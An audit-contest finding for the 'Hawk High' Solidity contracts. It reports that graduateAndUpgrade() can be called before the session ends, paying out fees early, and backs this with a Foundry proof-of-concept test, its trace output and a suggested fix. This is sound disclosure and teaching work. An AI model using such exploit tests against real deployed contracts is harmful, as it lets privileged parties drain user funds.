Hawk High
First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: low
Valid

Premature Upgrade Vulnerability in HawkHigh's Graduation System

teheelaa

Summary

The LevelOne contract's graduateAndUpgrade() function lacks critical session completion checks, allowing the Principal to prematurely upgrade the system and steal accumulated fees before students complete their required reviews or meet graduation requirements.

Vulnerability Details

The vulnerability exists in LevelOne.sol where the graduateAndUpgrade() function fails to enforce key invariants specified in the protocol requirements:

function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
if (_levelTwo == address(0)) {
revert HH__ZeroAddress();
}
_authorizeUpgrade(_levelTwo);
uint256 teacherShare = (bursary * TEACHER_WAGE) / PRECISION;
uint256 principalShare = (bursary * PRINCIPAL_WAGE) / PRECISION;
// Distribute funds
usdc.transfer(principal, principalShare);
uint256 sharePerTeacher = teacherShare / listOfTeachers.length;
for (uint256 i = 0; i < listOfTeachers.length; i++) {
usdc.transfer(listOfTeachers[i], sharePerTeacher);
}
// ...
}

Key missing validations:

  1. No check for block.timestamp >= sessionEnd

  2. No verification that all students have received 4 reviews

  3. No validation against cutOffScore requirements

  4. No check for review completion status

POC

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.26;
​
import {Test, console2} from "forge-std/Test.sol";
import {DeployLevelOne} from "../script/DeployLevelOne.s.sol";
import {GraduateToLevelTwo} from "../script/GraduateToLevelTwo.s.sol";
import {LevelOne} from "../src/LevelOne.sol";
import {LevelTwo} from "../src/LevelTwo.sol";
import {MockUSDC} from "./mocks/MockUSDC.sol";
​
contract PrematureUpgradeTest is Test {
DeployLevelOne deployBot;
GraduateToLevelTwo graduateBot;
​
LevelOne levelOneProxy;
LevelTwo levelTwoImplementation;
​
address proxyAddress;
address levelOneImplementationAddress;
address levelTwoImplementationAddress;
​
MockUSDC usdc;
​
address principal;
uint256 schoolFees;
​
// teachers
address alice;
address bob;
// students
address clara;
address dan;
address eli;
address fin;
address grey;
address harriet;
​
function setUp() public {
// Deploy initial contracts
deployBot = new DeployLevelOne();
proxyAddress = deployBot.deployLevelOne();
levelOneProxy = LevelOne(proxyAddress);
​
// Get contract instances and configuration
usdc = deployBot.getUSDC();
principal = deployBot.principal();
schoolFees = deployBot.getSchoolFees();
levelOneImplementationAddress = deployBot.getImplementationAddress();
​
// Setup test addresses
alice = makeAddr("first_teacher");
bob = makeAddr("second_teacher");
clara = makeAddr("first_student");
dan = makeAddr("second_student");
eli = makeAddr("third_student");
fin = makeAddr("fourth_student");
grey = makeAddr("fifth_student");
harriet = makeAddr("six_student");
​
// Mint USDC for students
usdc.mint(clara, schoolFees);
usdc.mint(dan, schoolFees);
usdc.mint(eli, schoolFees);
usdc.mint(fin, schoolFees);
usdc.mint(grey, schoolFees);
usdc.mint(harriet, schoolFees);
}
​
// Helper functions
function _teachersAdded() internal {
vm.startPrank(principal);
levelOneProxy.addTeacher(alice);
levelOneProxy.addTeacher(bob);
vm.stopPrank();
}
​
function _studentsEnrolled() internal {
vm.startPrank(clara);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
​
vm.startPrank(dan);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
}
​
function _startSession() internal {
vm.prank(principal);
levelOneProxy.startSession(70); // Set cutoff score to 70
}
​
// Now we can add our vulnerability test...
function testPrematureUpgradeVulnerability() public {
// Setup initial state
_teachersAdded();
_studentsEnrolled();
_startSession();
​
// Record initial balances
uint256 initialPrincipalBalance = usdc.balanceOf(principal);
uint256 initialTeacherBalance = usdc.balanceOf(alice);
uint256 initialContractBalance = usdc.balanceOf(address(levelOneProxy));
​
// Deploy LevelTwo implementation
levelTwoImplementation = new LevelTwo();
bytes memory data = abi.encodeCall(LevelTwo.graduate, ());
​
// Execute premature upgrade
vm.prank(principal);
levelOneProxy.graduateAndUpgrade(address(levelTwoImplementation), data);
​
// Calculate expected shares
uint256 expectedPrincipalShare = (initialContractBalance *
levelOneProxy.PRINCIPAL_WAGE()) / levelOneProxy.PRECISION();
​
// The total teacher share is distributed equally to each teacher
uint256 totalTeacherShare = (initialContractBalance *
levelOneProxy.TEACHER_WAGE()) / levelOneProxy.PRECISION();
// Each teacher gets the full amount (this matches the contract behavior)
uint256 expectedTeacherShare = totalTeacherShare; // Remove the division by 2
​
assertEq(
usdc.balanceOf(principal),
initialPrincipalBalance + expectedPrincipalShare,
"Principal received premature payment"
);
​
assertEq(
usdc.balanceOf(alice),
initialTeacherBalance + expectedTeacherShare,
"Teacher received premature payment"
);
​
// Verify broken invariants
assertTrue(
block.timestamp < levelOneProxy.sessionEnd(),
"Upgrade occurred before session end"
);
​
// Verify students were upgraded without required reviews
LevelTwo levelTwoProxy = LevelTwo(proxyAddress);
address[] memory upgradedStudents = levelTwoProxy.getListOfStudents();
assertTrue(
upgradedStudents.length > 0,
"Students upgraded without reviews"
);
}
}
​

The test passes and properly demonstrate that:

  1. The upgrade can happen before session end

  2. Teachers and principal receive their full payments

  3. Students are upgraded without completing reviews

  4. Core protocol invariants are broken

Test Output

Ran 1 test for test/PrematureUpgradeTest.t.sol:PrematureUpgradeTest
[PASS] testPrematureUpgradeVulnerability() (gas: 1062491)
Traces:
[1111891] PrematureUpgradeTest::testPrematureUpgradeVulnerability()
├─ [0] VM::startPrank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [78232] ERC1967Proxy::fallback(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3])
│ ├─ [73258] LevelOne::addTeacher(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3]) [delegatecall]
│ │ ├─ emit TeacherAdded(: first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [49832] ERC1967Proxy::fallback(second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e])
│ ├─ [49358] LevelOne::addTeacher(second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e]) [delegatecall]
│ │ ├─ emit TeacherAdded(: second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [152722] ERC1967Proxy::fallback()
│ ├─ [152251] LevelOne::enroll() [delegatecall]
│ │ ├─ [31619] MockUSDC::transferFrom(first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: first_student: [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [83022] ERC1967Proxy::fallback()
│ ├─ [82551] LevelOne::enroll() [delegatecall]
│ │ ├─ [9719] MockUSDC::transferFrom(second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: second_student: [0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [50532] ERC1967Proxy::fallback(70)
│ ├─ [50058] LevelOne::startSession(70) [delegatecall]
│ │ ├─ emit SchoolInSession(startTime: 1, endTime: 2419201 [2.419e6])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [2851] MockUSDC::balanceOf(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca]) [staticcall]
│ └─ ← [Return] 0
├─ [2851] MockUSDC::balanceOf(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3]) [staticcall]
│ └─ ← [Return] 0
├─ [851] MockUSDC::balanceOf(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall]
│ └─ ← [Return] 10000000000000000000000 [1e22]
├─ [445078] → new LevelTwo@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 2223 bytes of code
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [80129] ERC1967Proxy::fallback(LevelTwo: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xd3618cca)
│ ├─ [79640] LevelOne::graduateAndUpgrade(LevelTwo: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xd3618cca) [delegatecall]
│ │ ├─ [23750] MockUSDC::transfer(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3], 3500000000000000000000 [3.5e21])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3], value: 3500000000000000000000 [3.5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [25750] MockUSDC::transfer(second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e], 3500000000000000000000 [3.5e21])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: second_teacher: [0xb4c265c1f1d07474E3715F65724E8fa9d662BF0e], value: 3500000000000000000000 [3.5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [23750] MockUSDC::transfer(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], 500000000000000000000 [5e20])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], value: 500000000000000000000 [5e20])
│ │ │ └─ ← [Return] true
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [888] ERC1967Proxy::fallback() [staticcall]
│ ├─ [414] LevelOne::PRECISION() [delegatecall]
│ │ └─ ← [Return] 100
│ └─ ← [Return] 100
├─ [844] ERC1967Proxy::fallback() [staticcall]
│ ├─ [370] LevelOne::PRINCIPAL_WAGE() [delegatecall]
│ │ └─ ← [Return] 5
│ └─ ← [Return] 5
├─ [888] ERC1967Proxy::fallback() [staticcall]
│ ├─ [414] LevelOne::PRECISION() [delegatecall]
│ │ └─ ← [Return] 100
│ └─ ← [Return] 100
├─ [910] ERC1967Proxy::fallback() [staticcall]
│ ├─ [436] LevelOne::TEACHER_WAGE() [delegatecall]
│ │ └─ ← [Return] 35
│ └─ ← [Return] 35
├─ [851] MockUSDC::balanceOf(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca]) [staticcall]
│ └─ ← [Return] 500000000000000000000 [5e20]
├─ [0] VM::assertEq(500000000000000000000 [5e20], 500000000000000000000 [5e20], "Principal received premature payment") [staticcall]
│ └─ ← [Return]
├─ [851] MockUSDC::balanceOf(first_teacher: [0xeeEeC5A3afd714e3C63A0b1ef6d80722Bcc514b3]) [staticcall]
│ └─ ← [Return] 3500000000000000000000 [3.5e21]
├─ [0] VM::assertEq(3500000000000000000000 [3.5e21], 3500000000000000000000 [3.5e21], "Teacher received premature payment") [staticcall]
│ └─ ← [Return]
├─ [966] ERC1967Proxy::fallback() [staticcall]
│ ├─ [492] LevelOne::sessionEnd() [delegatecall]
│ │ └─ ← [Return] 2419201 [2.419e6]
│ └─ ← [Return] 2419201 [2.419e6]
├─ [0] VM::assertTrue(true, "Upgrade occurred before session end") [staticcall]
│ └─ ← [Return]
├─ [2458] ERC1967Proxy::fallback() [staticcall]
│ ├─ [1972] LevelOne::getListOfStudents() [delegatecall]
│ │ └─ ← [Return] [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879, 0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE]
│ └─ ← [Return] [0x0e0C2a2596E7bCd5122Ae32390d8C0657fe5b879, 0x662bE80E633b67Ad610e19fa00D6217Ebb6073BE]
├─ [0] VM::assertTrue(true, "Students upgraded without reviews") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Impact

  1. Principal can steal fees by upgrading before session completion

  2. Students lose paid fees without completing education

  3. Teachers receive wages without completing reviews

  4. Breaks core protocol invariants around graduation requirements

  5. Undermines entire educational verification system

Tools Used

  • Manual code review

  • Foundry testing framework

Recommendations

  • Add required checks to graduateAndUpgrade():

    ​
    function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
    // Check session ended
    require(block.timestamp >= sessionEnd, "Session not complete");
    // Check all students have 4 reviews
    for(uint i = 0; i < listOfStudents.length; i++) {
    address student = listOfStudents[i];
    require(reviewCount[student] == 4, "Student missing reviews");
    }
    // Check passing students meet cutoff
    for(uint i = 0; i < listOfStudents.length; i++) {
    address student = listOfStudents[i];
    require(studentScore[student] >= cutOffScore, "Students below cutoff");
    }
    // Existing upgrade logic
    _authorizeUpgrade(_levelTwo);
    // ...
    }


    Additional recommendations:

    1. Add events for upgrade attempts and completions

    2. Implement timelock for upgrades

    3. Add emergency pause functionality

    4. Consider multi-sig requirement for upgrades

    5. Add explicit state variables tracking graduation requirements

Updates

Lead Judging Commences

yeahchibyke Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

can graduate without session end

`graduateAndUpgrade()` can be called successfully even when the school session has not ended

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.